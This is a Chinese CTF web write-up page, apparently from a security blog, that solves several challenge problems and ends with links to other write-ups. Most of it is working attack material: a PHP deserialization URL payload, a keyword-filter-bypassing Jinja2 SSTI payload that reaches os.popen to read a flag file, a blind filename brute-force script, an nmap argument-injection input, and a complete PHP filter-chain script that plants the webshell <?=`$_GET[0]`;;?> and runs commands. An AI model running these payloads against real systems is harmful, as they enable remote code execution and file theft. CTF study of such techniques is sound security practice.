?user=C%3A13%3A%22ArrayIterator%22%3A366%3A%7Bx%3Ai%3A0%3BO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D&file=data://text/plain;base64,bG92ZXlvdQ==&fun=/var/www/html/

POST:ctf=FilesystemIterator

klf_2&klf_3

klf_2的payload复制到klf_3里同样适用=-=

在/robots.txt里找到/secr3ttt

https://xz.aliyun.com/t/9584

这道题过滤了很多关键字,经过测试,留下一个列表可以让我们取用需要的字符

1
2
{% set orglst = ({ }|select|string|list) %}{}orglst}}
在这里取到下划线和空格

可以通过下列语句构造关键字

1
{% set pon = dict(po=aa,pen=dd)|join %}    # popen

直接上payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{% set po = dict(po=aa,p=b)|join %}             #pop
pop被过滤了,构造出pop后用|attr(po)代替 .pop
{% set xhx = (({ }|select|string|list)|attr(po)(24)|string) %} #_
{% set kong = (({ }|select|string|list)|attr(po)(17)|string) %} #空格
{% set point = ((g|string|list)|attr(po)(6)|string) %} //g是全局变量,代表flask这个实例 #.
{% set claz= dict(cla=aa,ss=b)|join %} #class
{%set clazz=(xhx,xhx,claz,xhx,xhx)|join%} #__class__
{% set baz = dict(ba=aa,se=b)|join %} #base
{%set bazz=(xhx,xhx,baz,xhx,xhx)|join%} #__base__
{% set subz = dict(subc=aa,lasses=b)|join %} #subclasses
{%set subzz=(xhx,xhx,subz,xhx,xhx)|join%} #__subclasses__
{% set getz= dict(geti=aa,tem=b)|join %} #getitem
{%set getzz=(xhx,xhx,getz,xhx,xhx)|join%} #__getitem__
{% set inz= dict(in=aa,it=b)|join %} #init
{%set inzz=(xhx,xhx,inz,xhx,xhx)|join%} #__init__
{% set glo= dict(glo=aa,bals=b)|join %} #globals
{%set glob=(xhx,xhx,glo,xhx,xhx)|join%} #__globals__
{% set xi=()|attr(clazz)|attr(bazz)|attr(subzz)()|attr(getzz)(279)|attr(inzz)|attr(glob)|string|attr(getzz)(69) %} #/ //从另一个表里拿到斜杠
{% set oz= dict(o=aa,s=b)|join %} #os
{% set pom= dict(po=aa,pen=b)|join %} #popen
{% set re= dict(re=aa,ad=b)|join %} #read
{% set ca= dict(c=aa,at=b)|join %} #cat
{% set f= dict(fl4gf=aa,l4gfl4g=b)|join %} #fl4gfl4gfl4g
{% set payload=(ca,kong,point,point,xi,point,point,xi,f)|join%}
#cat ../../fl4gfl4gfl4g
{}()|attr(clazz)|attr(bazz)|attr(subzz)()|attr(getzz)(279)|attr(inzz)|attr(glob)|attr(getzz)(oz)|attr(pom)(payload)|attr(re)()}}
#().__class__.__base__.__subclasses__.__getitem__(279).__init__.__globals__.__getitem__(oz).popen(cat ../../fl4gfl4gfl4g).read()

__getitem__(279)为[279]

SYC{YARCu1gP5RLkoNNwcI}

Akane!

这道题要我们猜测flag所在文件的名字,根据不同的回显,相当于盲注。

我们要一步一步猜测文件名,所以要绕过wakeup

1
$b = str_replace("Hoshino\":1","Hoshino\":2",$b);

调用call方法

1
$this->Ruby->func(); 

php这边简单,看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Hoshino
{
public $Ruby;

}

class Idol
{
public $Akane='glob:///var/www/html/The*.php';
public function __construct($q)
{
$this->Akane=$q;
}

}

$a = new Hoshino();
$a->Ruby= new Idol($argv[1]);
$b = serialize($a);
$b = str_replace("Hoshino\":1","Hoshino\":2",$b);
echo base64_encode($b);

这里让Akane的值为$argv[1]的值,可以通过外部终端传入,配合python脚本使用,

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
import string

import requests

url='https://j8mh5c6z3h7vvi33edzdfdmqa.node.game.sycsec.com/?tuizi='


filename = 'glob:///var/www/html/The'
flag = ''
dic = string.ascii_letters+string.digits+'_-+.'

for j in range(24):
for i in dic:
file=filename+flag+i+'*.php'
print(file)
read = os.popen('php /home/yinyun/Documents/php文件/test.php '+file).read()
res = requests.get(url=url+read)
if 'Kurokawa Akane' in res.text:
flag+=i
print(flag)
break

爆出名字为:TheS4crEtF1AgFi1EByo2takuXX.php

SYC{qabhfOQdYBX0MYrA8q}

scan_tool

https://blog.csdn.net/weixin_44037296/article/details/110893526

考点nmap -oG 写入文件-iL读取扫描文件escapeshellarg绕过

PHP中的escapeshellarg()函数会剔除不可见字符,这个特性可以用来绕过对-iL-oN等参数的过滤。

1
ip=' -i%faL /flag -o%faN 1.txt '

然后看1.txt即可拿到flag

SYC{jvphuvHv43WbXRMoan}

ezrfi

hint为:

1
w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg

base64解码:

1
Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo  

尊嘟假嘟解密:

1
Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy

rc4解密:密钥靠猜:Syclover

1
文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

后缀给死了,我们可以利用php filter chain突破后缀”限制”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests

url = "https://o8psad59go93x7xvicykjqu7c.node.game.sycsec.com/index.php"
#可以读取到的文件
file_to_use = "/var/hint"
#要执行的命令
command = "cat /ffffffllllag"

#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
"0": command,
"action": "xxx",
"file": final_payload
})

print(r.text)

SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • XYCTF2024

    ezhttp打开是登录页面,先看源码,源码提示: 1<!-- 为了防止忘记密码,我把它们放在某个地方了 --> 第一反应是robots.txt,进去看看。 得到/l0g1n.txt,进入得到帐号密码: 12u...

    XYCTF2024